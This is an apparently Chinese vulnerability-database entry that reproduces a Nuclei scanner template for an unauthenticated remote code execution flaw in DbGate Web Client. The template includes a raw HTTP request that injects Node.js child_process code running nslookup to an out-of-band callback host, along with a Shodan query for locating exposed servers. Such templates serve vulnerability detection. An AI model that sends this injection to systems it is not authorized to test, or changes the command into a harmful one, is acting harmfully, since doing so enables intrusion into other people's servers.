dbgate-unauth-rce: DbGate Web Client - Unauthenticated Remote Command Execution

日期: 2025-08-01 | 影响软件: DbGate Web Client | POC: 已公开

漏洞描述

DbGate Web Client Management is suspectible to an unauthenticated remote code execution vulnerability.

PoC代码[已公开]

id: dbgate-unauth-rce

info:
  name: DbGate Web Client - Unauthenticated Remote Command Execution
  author: h0j3n
  severity: critical
  description: |
    DbGate Web Client Management is suspectible to an unauthenticated remote code execution vulnerability.
  reference:
    - https://github.com/dbgate/dbgate
    - https://dbgate.org/docs/env-variables.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:1198579728
  tags: http,rce,oast,electron,dbgate,oss,vuln

http:
  - raw:
      - |
        POST /runners/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"script":"process.mainModule.require('child_process').exec('nslookup {{interactsh-url}}')"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '\"runid\"')
          - contains(interactsh_protocol, "dns")
        condition: and
# digest: 490a004630440220286cd46072a5e4cb8fbe4239ebff2c12b237f25c967c125f6536743353d1f24d02205e5bd17692d62fd4aecbcb827a758e28f83797f68a1deeba5b7ce497432e7441:922c64590222798bb761d5b6d8e72950